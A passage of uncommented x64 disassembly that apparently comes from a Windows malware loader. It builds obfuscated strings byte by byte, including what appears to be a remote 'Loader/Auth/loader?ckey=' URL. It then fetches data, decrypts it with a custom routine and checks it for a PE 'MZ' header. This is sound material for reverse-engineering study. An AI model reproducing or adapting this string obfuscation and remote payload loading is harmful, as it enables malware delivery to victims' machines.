lea r15d, [r13 - 0x27]
mov r8d, r15d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac8], al
mov r9d, r13d
lea r8d, [r13 - 0x26]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac9], al
mov r9d, r13d
lea r8d, [r13 - 0x25]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xaca], al
mov r9d, r13d
lea r8d, [r13 - 0x24]
mov dl, Ordinal_41
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xacb], al
mov r9d, r13d
lea r8d, [r13 - 0x23]
mov dl, 0x57
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xacc], al
mov r9d, r13d
lea r8d, [r13 - 0x22]
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xacd], al
mov r9d, r13d
lea r8d, [r13 - 0x21]
mov dl, WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xace], al
mov r9d, r13d
lea r8d, [r13 - 0x20]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xacf], al
mov r9d, r13d
lea r14d, [r13 - 0x1f]
mov r8d, r14d
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad0], al
mov r9d, r13d
mov r8d, r12d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad1], al
mov r9d, r13d
lea r8d, [r13 - 0x1d]
mov dl, 0x67
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad2], al
mov r9d, r13d
lea r8d, [r13 - 0x1c]
mov dl, 0x3a
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad3], al
mov r9d, r13d
lea r8d, [r13 - 0x1b]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad4], al
mov r9d, r13d
lea r8d, [r13 - 0x1a]
mov dl, 0x54
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad5], al
mov r9d, r13d
lea r8d, [r13 - 0x19]
mov dl, 0x68
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad6], al
mov r9d, r13d
lea r8d, [r13 - 0x18]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad7], al
mov r9d, r13d
lea r8d, [r13 - 0x17]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad8], al
mov r9d, r13d
lea r8d, [r13 - 0x16]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xad9], al
mov r9d, r13d
lea r8d, [r13 - 0x15]
mov dl, 0x6d
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xada], al
mov r9d, r13d
lea r8d, [r13 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xadb], al
mov r9d, r13d
lea r8d, [r13 - 0x13]
mov dl, 0x67
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xadc], al
mov r9d, r13d
lea r8d, [r13 - 0x12]
mov dl, 0x68
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xadd], al
mov r9d, r13d
lea r8d, [r13 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xade], al
mov r9d, r13d
lea r8d, [r13 - 0x10]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xadf], al
mov r9d, r13d
lea r8d, [r13 - 0xf]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae0], al
mov r9d, r13d
lea r8d, [r13 - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae1], al
mov r9d, r13d
lea r8d, [r13 - 0xd]
mov dl, 0x6b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae2], al
mov r9d, r13d
lea r8d, [r13 - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae3], al
mov r9d, r13d
lea r8d, [r13 - 0xb]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae4], al
mov r9d, r13d
lea r8d, [r13 - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae5], al
mov r9d, r13d
lea r8d, [r13 - 9]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae6], al
mov r9d, r13d
lea r8d, [r13 - 8]
mov dl, 0x77
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae7], al
mov r9d, r13d
lea r8d, [r13 - 7]
mov dl, 0x68
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae8], al
mov r9d, r13d
lea r8d, [r13 - 6]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xae9], al
mov r9d, r13d
lea r8d, [r13 - 5]
mov dl, 0x6c
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xaea], al
mov r9d, r13d
lea r8d, [r13 - 4]
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xaeb], al
mov r9d, r13d
lea r8d, [r13 - 3]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xaec], al
mov r9d, r13d
lea r8d, [r13 - 2]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xaed], al
mov r9d, r13d
lea edx, [rsi - 0xa]
lea r8d, [r13 - 1]
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xaee], al
xor eax, eax
mov byte [rbp + 0xaef], al
mov r13d, eax
lea ebx, [rsi - 0x13]
mov r9d, 0x3e
mov r8, r13
mov dl, byte [rbp + r13 + 0xab1]
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + r13 + 0xab1], al
add r13, rbx
cmp r13, 0x3e
jb 0x14002a2c7
xor eax, eax
mov byte [rbp + 0xaef], al
lea rcx, [rbp + 0xab1]
call fcn.14001f8a8
mov byte [rbp + 0x9c8], Ordinal_50
mov ebx, gethostname
mov r9d, ebx
xor r8d, r8d
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9c9], al
mov r9d, ebx
lea r8d, [rbx - 0x35]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9ca], al
mov r9d, ebx
lea r8d, [rbx - 0x34]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9cb], al
mov r9d, ebx
lea r8d, [rbx - 0x33]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9cc], al
mov r9d, ebx
lea r8d, [rbx - 0x32]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9cd], al
mov r9d, ebx
lea r8d, [rbx - 0x31]
mov dl, 0x3a
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9ce], al
mov r9d, ebx
lea r8d, [rbx - 0x30]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9cf], al
mov r9d, ebx
lea r8d, [rbx - 0x2f]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d0], al
mov r9d, ebx
lea r8d, [rbx - 0x2e]
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d1], al
mov r9d, ebx
lea r8d, [rbx - 0x2d]
mov dl, 0x61
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d2], al
mov r9d, ebx
lea r8d, [rbx - 0x2c]
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d3], al
mov r9d, ebx
lea r8d, [rbx - 0x2b]
mov dl, 0x76
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d4], al
mov r9d, ebx
lea r8d, [rbx - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d5], al
mov r9d, ebx
lea r8d, [rbx - 0x29]
mov dl, 0x79
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d6], al
mov r9d, ebx
lea r8d, [rbx - 0x28]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d7], al
mov r9d, ebx
lea r8d, [rbx - 0x27]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d8], al
mov r9d, ebx
lea r13d, [rbx - 0x26]
mov r8d, r13d
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9d9], al
mov r9d, ebx
lea ebx, [r9 - 0x25]
mov r8d, ebx
mov dl, 0x63
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9da], al
lea r9d, [r13 + 0x26]
lea r8d, [r13 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9db], al
lea r9d, [r13 + 0x26]
lea r8d, [r13 + 3]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9dc], al
lea r9d, [r13 + 0x26]
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9dd], al
lea r9d, [r13 + 0x26]
mov r8, rdi
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9de], al
lea r9d, [r13 + 0x26]
lea r8d, [r13 + 6]
mov dl, 0x6c
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9df], al
lea r9d, [r13 + 0x26]
mov r8, r15
mov dl, 0x69
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e0], al
lea r15d, [r13 + 0x26]
mov r9d, r15d
lea r8d, [r13 + 8]
mov dl, 0x66
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e1], al
mov r9d, r15d
lea r8d, [r13 + 9]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e2], al
mov r9d, r15d
lea r8d, [r13 + 0xa]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e3], al
mov r9d, r15d
lea r8d, [r13 + 0xb]
mov dl, 0x4c
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e4], al
mov r9d, r15d
lea r8d, [r13 + 0xc]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e5], al
mov r9d, r15d
lea r8d, [r13 + 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e6], al
mov r9d, r15d
lea r8d, [r13 + 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e7], al
mov r9d, r15d
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e8], al
mov r9d, r15d
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9e9], al
mov r9d, r15d
lea r8d, [r13 + 0x11]
mov dl, 0x41
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9ea], al
mov r9d, r15d
lea r8d, [r13 + 0x12]
mov dl, 0x75
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9eb], al
mov r9d, r15d
lea r8d, [r13 + 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9ec], al
mov r9d, r15d
lea r8d, [r13 + 0x14]
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9ed], al
mov r9d, r15d
lea r8d, [r13 + 0x15]
mov dl, 0x2f
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9ee], al
mov r9d, r15d
lea r8d, [r13 + 0x16]
mov dl, 0x6c
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9ef], al
mov r9d, r15d
lea r8d, [r13 + 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f0], al
mov r9d, r15d
lea r8d, [r13 + 0x18]
mov dl, 0x61
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f1], al
mov r9d, r15d
lea r8d, [r13 + 0x19]
mov dl, 0x64
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f2], al
mov r9d, r15d
lea r8d, [r13 + 0x1a]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f3], al
mov r9d, r15d
lea r8d, [r13 + 0x1b]
mov dl, WSAStartup
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f4], al
mov r9d, r15d
lea r8d, [r13 + 0x1c]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f5], al
mov r9d, r15d
lea r8d, [r13 + 0x1d]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f6], al
mov r9d, r15d
lea r8d, [r13 + 0x1e]
mov dl, 0x68
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f7], al
mov r9d, r15d
lea r8d, [r13 + 0x1f]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f8], al
mov r9d, r15d
lea r8d, [r13 + 0x20]
mov dl, 0x3f
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9f9], al
mov r9d, r15d
lea r8d, [r13 + 0x21]
mov dl, 0x63
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9fa], al
mov r9d, r15d
lea r8d, [r13 + 0x22]
mov dl, 0x6b
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9fb], al
mov r9d, r15d
lea r8d, [r13 + 0x23]
mov dl, 0x65
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9fc], al
mov r9d, r15d
lea r8d, [r13 + 0x24]
mov dl, 0x79
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9fd], al
mov r9d, r15d
lea r8d, [r13 + 0x25]
mov dl, 0x3d
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + 0x9fe], al
xor eax, eax
mov byte [rbp + 0x9ff], al
mov r15d, eax
lea r12d, [r13 - 0xf]
mov r9d, gethostname
mov r8, r15
mov dl, byte [rbp + r15 + 0x9c9]
lea rcx, [rbp + 0x9c8]
call fcn.140042dbc
mov byte [rbp + r15 + 0x9c9], al
add r15, r12
cmp r15, 0x36
jb 0x14002a8e0
xor eax, eax
mov byte [rbp + 0x9ff], al
lea rdx, [rbp + 0x9c9]
lea rcx, [rbp + 0xfa0]
call fcn.140043618
lea rcx, [rbp + 0xc38]
call fcn.1400286a4
lea rcx, [rbp + 0xb28]
mov qword [rsp + 0x20], rcx
mov r9d, 8
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xf80]
call fcn.140043784
lea rcx, [rbp + 0xc38]
call fcn.140043530
lea r8, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0xfe0]
call fcn.140043ae4
lea rcx, [rbp + 0xf80]
call fcn.140043374
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400a9780
mov qword [rsp + 0x68], rax
mov dl, byte [rbp + 0xb28]
lea rcx, [rbp + 0xed8]
call fcn.140043c80
lea rcx, [rbp + 0xed8]
call fcn.140043770
nop
lea rcx, [rbp + 0xfe0]
call fcn.140043374
mov r9b, r12b
xor r8d, r8d
lea rdx, [rbp + 0xed8]
mov rcx, rax
call fcn.140028258
lea rdx, [rbp + 0xed8]
lea rcx, [rbp + 0xcb8]
call fcn.14004364c
mov rdx, rax
lea rcx, [rbp + 0xc58]
call fcn.140028810
mov rdx, rax
lea rcx, [rbp + 0xed8]
call fcn.14004358c
lea rcx, [rbp + 0xc58]
call fcn.140043530
xor edx, edx
lea rcx, [rbp + 0xfa0]
call fcn.14004375c
mov rcx, qword [rbp + 0xee8]
call fcn.1400acfc0
mov rcx, rax
mov qword [rbp + 0xbc8], rax
mov rax, qword [rbp + 0xee8]
mov qword [rbp - 0x30], rax
test rcx, rcx
mov r15d, reloc.WS2_32.dll_socket
lea r12d, [r15 + 9]
je 0x1400422bb
test rax, rax
je 0x1400422bb
lea rcx, [rbp + 0xed8]
call fcn.140043374
mov rdx, rax
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp + 0xbc8]
call fcn.1400c9110
xor edx, edx
lea rcx, [rbp + 0xed8]
call fcn.14004375c
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x68], rax
movabs rax, 0xffecca5938
mov qword [rbp - 0x50], rax
xor r10d, r10d
mov qword [rbp + 0xea0], r10
mov r9d, r10d
mov r8d, r10d
lea r10d, [r15 - 0x16]
lea eax, [r9 + 1]
mov r9d, eax
movzx ecx, byte [rsp + r8 + 0x68]
imul ecx, eax
movzx eax, byte [rbp + r8 - 0x50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + r8 + 0xea0], cl
add r8, r10
cmp r9d, 8
jb 0x14002aabf
xor r10d, r10d
movabs rax, 0x8080808080808081
mov r9, qword [rbp - 0x30]
test r9, r9
je 0x14002ac03
mov ecx, r10d
mul r9
mov r10, rdx
shr r10, 7
add r10b, r9b
mov r11, qword [rbp + 0xbc8]
mov r13d, ecx
xor ebx, ebx
lea esi, [rcx + 1]
and ecx, 7
mov r8b, byte [rbp + rcx + 0xea0]
mov al, r10b
xor al, r8b
mov byte [rbp - 0x38], al
mov byte [rbp + 0xb29], r8b
mov r9d, ebx
lea r14, [rbp + 0xea0]
movabs rbx, 0x8080808080808081
movzx ecx, byte [r14]
movzx eax, r8b
add rcx, rax
xor rcx, qword [rbp + 0xea0]
mov rax, rbx
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov r8, rcx
sub r8, rax
add r9d, esi
add r14, rsi
cmp r9d, 8
jb 0x14002ab6b
movzx ecx, byte [rbp + 0xb29]
movzx eax, byte [rbp - 0x38]
add ecx, eax
movzx eax, r8b
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor r8b, byte [r11]
sub r8b, cl
mov byte [r11], r8b
add r13d, esi
add r11, rsi
movsxd rcx, r13d
cmp rcx, qword [rbp - 0x30]
mov ebx, 0
jb 0x14002ab3c
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
lea r14d, [rbx + 0xe]
lea r13d, [rbx - 1]
mov eax, 0x5a4d
mov rcx, qword [rbp + 0xbc8]
xor r8d, r8d
cmp word [rcx], ax
je 0x14002b492
mov byte [rbp + 0x308], reloc.WLDAP32.dll_Ordinal_79
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x309], al
mov r9, rbx
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x30a], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x30b], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x30c], al
mov r9, rbx
lea r8d, [r15 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x30d], al
mov r9, rbx
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x30e], al
mov r9, rbx
lea r8d, [r15 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x30f], al
mov r9, rbx
lea r8d, [r15 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x310], al
mov r9, rbx
lea r8d, [r15 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x311], al
mov r9, rbx
lea r8d, [r15 + 8]
mov dl, r12b
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x312], al
mov r9, rbx
lea r8d, [r15 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x313], al
mov r9, rbx
lea r8d, [r15 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x314], al
mov r9, rbx
lea r8d, [r15 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x315], al
mov r9, rbx
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x316], al
mov r9, rbx
lea r8d, [r15 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x317], al
mov r9, rbx
lea r8d, [r15 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x318], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + 0x319], al
xor eax, eax
mov byte [rbp + 0x31a], al
mov esi, eax
mov r9, rbx
mov r8, rsi
mov dl, byte [rbp + rsi + 0x309]
lea rcx, [rbp + 0x308]
call fcn.1400429f8
mov byte [rbp + rsi + 0x309], al
add rsi, r15
cmp rsi, rbx
jb 0x14002adf8
xor eax, eax
mov byte [rbp + 0x31a], al
mov byte [rbp + 0xa70], reloc.WS2_32.dll_send
lea esi, [rax + 0x39]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa71], al
mov r9d, esi
mov r8, r15
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa72], al
mov r9d, esi
lea r8d, [rsi - 0x37]
mov dl, 0x76
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa73], al
mov r9d, esi
lea r8d, [rsi - 0x36]
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa74], al
mov r9d, esi
lea r8d, [rsi - 0x35]
mov dl, 0x6c
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa75], al
mov r9d, esi
lea r8d, [rsi - 0x34]
mov dl, 0x69
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa76], al
mov r9d, esi
lea r8d, [rsi - 0x33]
mov dl, 0x64
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa77], al
mov r9d, esi
lea r8d, [rsi - 0x32]
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa78], al
mov r9d, esi
lea r8d, [rsi - 0x31]
mov dl, 0x50
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa79], al
mov r9d, esi
lea r8d, [rsi - 0x30]
mov dl, WSAStartup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa7a], al
mov r9d, esi
lea r8d, [rsi - 0x2f]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa7b], al
mov r9d, esi
lea r8d, [rsi - 0x2e]
mov dl, 0x63
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa7c], al
mov r9d, esi
lea r8d, [rsi - 0x2d]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa7d], al
mov r9d, esi
lea r8d, [rsi - 0x2c]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa7e], al
mov r9d, esi
lea r8d, [rsi - 0x2b]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa7f], al
mov r9d, esi
lea r8d, [rsi - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa80], al
mov r9d, esi
mov r8, r13
mov dl, 0x64
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa81], al
mov r9d, esi
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa82], al
mov r9d, esi
lea r8d, [rsi - 0x27]
mov dl, 0x44
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa83], al
mov r9d, esi
lea r8d, [rsi - 0x26]
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa84], al
mov r9d, esi
lea r8d, [rsi - 0x25]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa85], al
mov r9d, esi
mov r8, rdi
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa86], al
mov r9d, esi
lea r8d, [rsi - 0x23]
mov dl, r12b
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa87], al
mov r9d, esi
lea r8d, [rsi - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa88], al
mov r9d, esi
lea r8d, [rsi - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa89], al
mov r9d, esi
lea r8d, [rsi - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa8a], al
mov r9d, esi
lea r8d, [rsi - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa8b], al
mov r9d, esi
lea r8d, [rsi - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa8c], al
mov r9d, esi
lea r8d, [rsi - 0x1d]
mov dl, 0x6d
lea rcx, [rbp + 0xa70]
call fcn.140042ccc
mov byte [rbp + 0xa8d], al
mov r9d, esi
lea r8d, [rsi - 0x1c]
